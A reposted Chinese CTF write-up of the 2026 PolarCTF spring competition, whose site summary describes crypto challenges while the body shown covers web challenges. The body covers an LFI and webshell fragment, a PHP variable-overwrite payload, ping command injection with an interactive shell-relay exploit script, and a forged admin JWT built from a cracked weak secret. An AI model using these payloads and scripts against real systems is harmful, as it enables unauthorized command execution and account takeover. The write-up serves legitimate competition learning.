文章总结: 本文是2026PolarCTF春季赛的解题思路分享,作者在比赛中获得第二名。文章主要介绍了Crypto方向的四道题解:百万赏金利用栅栏密码和凯撒密码脚本遍历破解;冰原上的OTP谜题通过反转二进制位顺序获取正确密文;伪ASR利用格基规约、欧拉降阶和Pohlig-Hellman算法还原明文;ECC的攻击模块则通过恢复异常椭圆曲线参数并构造正交格矩阵求解。
综合评分: 85
文章分类: CTF,Crypto,解决方案,实战经验
: failed to open stream: No such file or directory in /var/www/html/index.php on line 69
可以确定:
存在 LFI:include($_GET['file'] . '.php')
服务器会把 file 参数后面***\*自动追加\**** ***\*.php\****
因此,传入 file=upload/xxx.jpg 时,实际会去包含 upload/xxx.jpg.php,文件不存在导致报错。
</code></pre>
<p>zip伪协议</p>
<p>构造一个php结尾的一句话木马</p>
<p><img decoding=)
flag{47ea7bc31157e1a1a6ca01e26163b726}
The_Gift
解题逻辑:
漏洞点:代码中的 foreach 循环配合 $$key = $value; 造成了变量覆盖漏洞,允许我们用外部传入的参数覆盖内部已有的变量。
拿 Flag 条件:最后的 if 语句要求 $config 必须是数组,并且 $config['isAdmin'] === 'true'。但原本的 $config 是一个对象(Object)。
构造覆盖:利用 PHP 接收 URL 参数转换为数组的特性,构造 ?config[isAdmin]=true。
覆盖过程:传入后,$$key = $value; 相当于在代码中执行了 $config = ['isAdmin' => 'true'];,直接将对象覆盖为了符合条件的数组。
注意避坑:千万不要传入 user_api_key 参数,否则代码会执行 $config->validateApiKey(),在数组上调用方法会导致 Fatal Error 报错中断,出不来 flag。
最终 Payload:
/?config[isAdmin]=true
flag{0538dfd69d21172b128c29d536b9b31a}
杰尼龟系统
Ping命令注入
发现Ping测试功能点,后端未对IP参数进行过滤,直接拼接执行。
构造Payload利用分号 ; 或管道符 | 执行任意系统命令,如 127.0.0.1; ls -la /。
枚举目录发现根目录的 /flag.txt 为干扰项(假flag)。
深度排查系统文件,定位到真实flag位于 /var/tmp/flag。
读取文件获取最终flag:127.0.0.1; cat /var/tmp/flag (或使用 xxd 读取验证)。
exp.py
import requests
from bs4 import BeautifulSoup
URL = "http://078eb0cf-3f5a-4434-8199-8090631f9335.game.polarctf.com:8090/"
def run(cmd):
payload = f"127.0.0.1; {cmd}"
params = {"ip": payload, "ping": ""}
try:
r = requests.get(URL, params=params, timeout=10)
soup = BeautifulSoup(r.text, 'html.parser')
div = soup.find('div', class_='ping-result')
if div:
return div.get_text(strip=True)
return ""
except:
return ""
def main():
while True:
cmd = input("$ ")
if cmd.lower() in ['exit', 'quit']:
break
if cmd.strip():
print(run(cmd))
if __name__ == "__main__":
main()
flag{459fc13bc7e1265b410fa7eb9e87a63e}
coke的粉丝团
登录上是这个页面
越权强买升10级
注册普通账号登录进入 shop.php。在第52页找到唯一的10级灯牌(card_id=520)。前端提示余额不足按钮变灰,但后端 buy.php 没做余额校验。直接抓包强行POST购买:
card_id=520&level=10&price=6666
发包后无视余额限制,直接升到10级。
爆破并伪造JWT
满10级后出现 coke.php 入口,访问提示只有 admin 才能进。
抓包发现身份鉴权用的是 JWT。拿普通用户的 JWT 去跑弱口令字典,爆出对称密钥为:coke。
将 payload 的 username 改为 admin,重新签名伪造出管理员 Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.nOLz_J3G5VDs3zimRc_EJzRnYxFbWbJkR3SHADwHmhg
带上伪造好的 admin JWT(替换 Cookie 和 X-Jwt-Token),再次访问 coke.php,直接出 flag。
exp.py
import requests
import re
import random
import string
BASE_URL = "http://a185985a-e8f8-4ef0-936f-cbf40c713fc9.game.polarctf.com:8090"
def generate_random_string(length=6):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def main():
session = requests.Session()
username = f"user_{generate_random_string()}"
password = "password123"
session.post(f"{BASE_URL}/register.php", data={
"username": username,
"password": password,
"confirm_password": password
})
session.post(f"{BASE_URL}/login.php", data={
"username": username,
"password": password
})
session.post(f"{BASE_URL}/buy.php", data={
"card_id": 520,
"level": 10,
"price": 6666
})
admin_jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.nOLz_J3G5VDs3zimRc_EJzRnYxFbWbJkR3SHADwHmhg"
cookies_dict = session.cookies.get_dict()
cookies_dict['jwt_token'] = admin_jwt
cookie_str = "; ".join([f"{k}={v}" for k, v in cookies_dict.items()])
headers = {
"Cookie": cookie_str,
"X-Jwt-Token": admin_jwt
}
res = requests.get(f"{BASE_URL}/coke.php", headers=headers)
flag_match = re.search(r'flag\{.*?\}', res.text)
if flag_match:
print(flag_match.group())
else:
print(res.text)
if __name__ == "__main__":
main()
flag{the_cat_is_coke}
总结
累死了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《2026PolarCTF春季赛wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论